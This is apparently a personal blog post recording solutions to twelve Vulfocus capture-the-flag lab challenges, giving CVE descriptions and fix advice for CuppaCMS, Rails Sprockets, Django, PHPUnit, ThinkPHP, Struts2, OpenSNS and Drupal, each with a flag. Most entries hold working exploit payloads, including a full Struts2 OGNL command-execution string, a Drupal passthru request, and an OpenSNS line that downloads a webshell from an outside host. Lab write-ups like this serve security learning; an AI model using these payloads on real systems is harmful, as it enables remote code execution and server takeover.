#禁止右键复制模块,去掉下面的/*注释可使用#

vulfocus(记录贴)系列三(flag)

vulfocus(记录贴)系列三

1.1.1. vulfocus/cuppacms-cve_2020_26048

漏洞URL:

http://123.58.224.8:65336/#/component/table_manager/view/cu_api_keys

请求方式:

POST

漏洞类型:

文件上传

漏洞描述:

CuppaCMS是一套内容管理系统(CMS)。 CuppaCMS 2019-11-12之前版本存在安全漏洞,攻击者可利用该漏洞在图像扩展内上传恶意文件,通过使用文件管理器提供的重命名函数的自定义请求,可以将图像扩展修改为PHP,从而导致远程任意代码执行。

修复建议:

使用官网补丁

升级版本

漏洞验证:

使用默认账号admin/123456进入后台

 

 

点击file mangger 上传一个PNG后缀的php文件,在File Mangager功能中的rename功能是通过前端js进行的,导致rename功能可以抓包绕过,改为.php后缀,导致webshell。

 

上传图片马成功后,点击重命名抓包修改其文件后缀名为php

 

删除这个文件,然后连接图片马

 

 

 

flag-{bmhf64f0e5b-902e-4607-8941-ada2d5e86a07}

1.1.2. vulfocus/rails-cve_2018_3760

漏洞URL:

http://123.58.224.8:41365/assets/file:%2F%2F/

请求方式:

GET

请求参数:

/assets/file:%2F%2F/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/proc/self/environ

漏洞描述:

Ruby On Rails 是著名的 Ruby Web 开发框架,它在开发环境中使用 Sprockets 作为静态文件服务器。Sprockets 是一个编译和分发静态资源文件的 Ruby 库。

Sprockets 3.7.1及更低版本存在二次解码导致的路径遍历漏洞。攻击者可以%252e%252e/用来访问根目录并读取或执行目标服务器上的任何文件。

修复建议:

使用官网补丁

升级版本

漏洞验证:

 

/assets/file:%2f%2f/etc/passwd访问此路径,可以得允许访问的路径白名单

 

Playload(网页无回显):

/assets/file:%2F%2F/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/proc/self/environ 抓包可获得flag

 

flag-{bmh94fae0a0-677b-48ae-a5ea-871e207b264b}

1.1.3. vulfocus/splunk-cve_2018_11409

漏洞URL:

http://123.58.224.8:58052/zh-CN/manager/search/adddata/selectsource?input_mode=1#

请求方式:

POST

请求参数:

/zh-CN/manager/search/adddata/selectsource?input_mode=1#

漏洞描述:

Splunk是美国Splunk公司的一套数据收集分析软件。该软件主要用于收集、索引和分析机器产生的数据,包括所有IT系统和基础结构(物理、虚拟和云)生成的数据。

Splunk 7.0.1及之前版本中存在安全漏洞。攻击者可通过将__raw/services/server/info/server-info?output_mode=json添加到查询中利用该漏洞泄露信息(如:许可证密钥)。

修复建议:

使用官网补丁

升级版本

漏洞验证:

利用首次登录给出的账号密码:admin / changeme 登录

 

进去之后提示修改密码,随便改成123啥的

 

这里许可证选择最后一个(前几个都尝试过了,当前环境下无法使用)

 

下一步选择取消。

在 设置 > 添加数据 > 监视 > 文件和目录 处找到 浏览文件!

 

 

 

flag-{bmhb86d5937-2b8f-460b-84b9-fdc85b8fb0f6}

1.1.4. vulfocus/django-cve_2019_14234

漏洞URL:

http://123.58.224.8:30729/admin/

请求方式:

GET

请求参数:

/vuln/collection/?detail__a%27b=123

漏洞描述:

Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。

 

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。可以利用CVE-2019-14234(SQL注入漏洞)向服务器传送包含CVE-2019-9193(命令执行漏洞)系统命令的SQL语句,从而利用SQL语句,执行任意系统命令。

修复建议:

使用官网补丁或升级版本

漏洞验证:

启动进入靶场

 

进入后台

 

payload:http://123.58.224.8:30729/admin/vuln/collection/?detail__a%27b=123

 

搜索flag

 

flag-{bmh9068b97a-1651-4c51-86ec-b34aff2b511e}

1.1.5. phpunit 远程代码执行 (CVE-2017-9841)

漏洞URL:

http://123.58.224.8:29245/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

请求方式:

POST

请求参数:

<?php system('ls /tmp');?>

漏洞描述:

PHPUnit 是 PHP 程式语言中最常见的单元测试 (unit testing) 框架。
通常phpunit使用composer非常流行的PHP依赖管理器进行部署,将会在当前目录创建一个vendor文件夹.phpunit生产环境中仍然安装了它,如果该编写器模块存在于Web可访问目录,则存在远程代码执行漏洞。

修复建议:

使用官网补丁、禁用该功能

或升级版本

漏洞验证:

 

抓包,修改get请求为post,并加上<?php system('ls /tmp');?>

 

flag-{bmh458e688d-06e3-426a-bb62-0314413f50b3}

1.1.6. vulfocus/thinkphp-cnvd_2018_24942

漏洞URL:

http://123.58.224.8:11711/index.php/

请求方式:

GET

请求参数:

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

漏洞描述:

ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。

 

该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。

修复建议:

使用官网补丁

升级版本

漏洞验证:

访问url,内容如下,指纹识别发现是thinkphp框架的

 

上thinkphp漏洞工具检测是否存在漏洞

Payload:

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

 

flag-{bmhc7dd506f-7b13-425e-b76b-823ebc109540}

1.1.7. vulfocus/struts2-cve_2017_9791

漏洞URL:

http://123.58.224.8:40686/integration/saveGangster.action

请求方式:

POST

请求参数:

name=%25%7B(%23_%3D'multipart%2Fform-data').(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'ls').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D&age=1&__checkbox_bustedBefore=true&description=1

漏洞描述:

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。本质问题出在struts2-struts1-plugin包Struts1Action.java文件中,Struts1Action类中的execute方法调用了getText函数,这个函数会执行ognl表达式,更为严重的是getText的输入内容是攻击者可控的。

修复建议:

使用官网补丁

升级版本

漏洞验证:

 

http://123.58.224.8:40686/integration/saveGangster.action

进入漏洞处

 

输入表达式${1+1},提交后,发现运算在后台被执行(下面两个框随便填写)

 

执行pyload,执行命令为pwd,即当前目录

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('pwd').getInputStream())).(#q)}

 

即当前目录为/tmp,试试将上面的playload中的pwd改为ls查看flag

 

 

确实报错中的message就是flag了。

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

将上面的playload进行url转换即可得到playload

解码平台:https://www.bejson.com/enc/urlencode/

 

修改为上面的请求参数,发送后即得到flag

 

flag-{bmh1f907d19-970c-4d43-8b54-b3094c77e20b}

1.1.8. thinkphp3.2.x 代码执行

漏洞URL:

http://123.58.224.8:62273/index.php

请求方式:

GET

请求参数:

/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_09.log

漏洞描述:

 

修复建议:

使用官网补丁

升级版本

漏洞验证:

http://123.58.224.8:62273/index.php

 

在默认的日志路径中包含执行PHP代码,报错计入错误日志

Playload: /index.php?m=--><?=system(ls%20/tmp);?>

 

Playload:后面的23_01_09.log需要改成你前面发送错误包的时间

/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_09.log

 

当然也可以上thinkphp工具进行漏扫

 

flag-{bmhaf31dded-8362-4866-87ff-7d5971c4525d}

1.1.9. uWSGI 目录穿越(CVE-2018-7490)

漏洞URL:

http://123.58.224.8:30664/

请求方式:

GET

请求参数:

漏洞描述:

uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,uWSGI 2.0.17之前的PHP插件,没有正确的处理DOCUMENT_ROOT检测,导致用户可以通过..%2f来跨越目录,读取或运行DOCUMENT_ROOT目录以外的文件。

 

修复建议:

使用官网补丁

升级版本

漏洞验证:

按靶场给的IP和端口号进去

因为提示是目录穿越,于是可以尝试目录穿越的常见方法

1:绝对路径

filename=/etc/passwd

2:双写../绕过

filename=....//....//....///etc/passwd

3:URL编码绕过

 .=>%2e    /=>%2f     %=>%25(双重URL编码)

 

尝试以上几种后发现都是not found,后面回到phpinfo直接搜索得到flag

flag-{bmh88f55559-c28a-4da8-a47f-cc35db9910d2}

1.1.10. opensns 命令执行 (CNVD-2021-34590)

漏洞URL:

http://123.58.224.8:15343/index.php

请求方式:

GET

请求参数:

http://123.58.224.8:15343/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=phpinfo()

漏洞描述:

OpenSNS是想天科技开发的一款综合性社交软件。

OpenSNS存在命令执行漏洞,攻击者可利用该漏洞获取服务器控制权限。

修复建议:

使用官网补丁

升级版本

漏洞验证:

进入靶场

 

Playload:

index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=phpinfo()

 

直接搜索flag

 

也可以通过下载webshell,用工具连接

此处的cmd= 只能传参1个,在使用'system'函数空格会导致执行失败,故而使用php中的copy函数直接下载webshell实现RCE。

/index.php?s=weibo/Share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[status]=1%26id[method]=Schedule-%3E_validationFieldItem%26id[4]=function%26id[0]=cmd%26id[1]=assert%26id[args]=cmd=copy(%27http://xxx/a.txt%27,%27a.php%27)

flag-{bmh03e752ad-aae8-4090-9ab0-ca21c84eb26c}

1.1.11. phpinfo-inclusion 文件写入

漏洞URL:

http://123.58.224.8:14382/phpinfo.php

请求方式:

GET

请求参数:

/phpinfo.php

漏洞描述:

phpinfo()常用于在系统上检查配置设置和预定义变量。

通过写入脚本文件,然后读取从而getshell

修复建议:

使用官网补丁

升级版本

漏洞验证:

进入靶场

 

可以看到,此次网站搭建是以"Apache"版本型号“2.4.38”操作系统为Debian

访问http://123.58.224.8:14382/phpinfo.php  获取phpinfo信息

 

 

flag-{bmhb6caf879-8612-4795-ad02-100c582f42f8}

1.1.12. drupal1 代码执行 (CVE-2018-7600)

漏洞URL:

123.58.224.8:44811/user/register

请求方式:

POST

请求参数:

/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

漏洞描述:

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。

该漏洞的产生的根本原因在于Drupal对表单的渲染上,攻击者可以利用该漏洞攻击Drupal系统的网站,执行恶意代码,最后完全控制被攻击的网站。

修复建议:

使用官网补丁

升级版本

漏洞验证:

直接进入靶场

 

在login那创建一个新账户,然后用burpsuite进行抓包改包

poc代码(红色的为需要修改添加的,ip根据自己的改)

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1

Host: 123.58.224.8:44811

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: _ga=GA1.1.463174318.1666318413; metabase.DEVICE=5041e6bc-c397-4551-8af0-f11161cfaa26; splunkweb_csrf_token_8000=8967813589907869178; JSESSIONID=428B5A668AEDABA4E8AEB867D55F2D45; PHPSESSID=3f27pblhj93gchdj84at4kkuj2

Upgrade-Insecure-Requests: 1

Content-Length: 112

Content-Type: application/x-www-form-urlencoded

 

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=ls /tmp

 

flag-{bmh273f6d84-bea6-488d-b907-d380b1805c53}

 

做了很多。留个之前做的纪念吧,逝去的青春。

 

 

posted @ 2023-03-12 20:58  Hndreamer  阅读(787)  评论(0编辑  收藏  举报
#百度统计#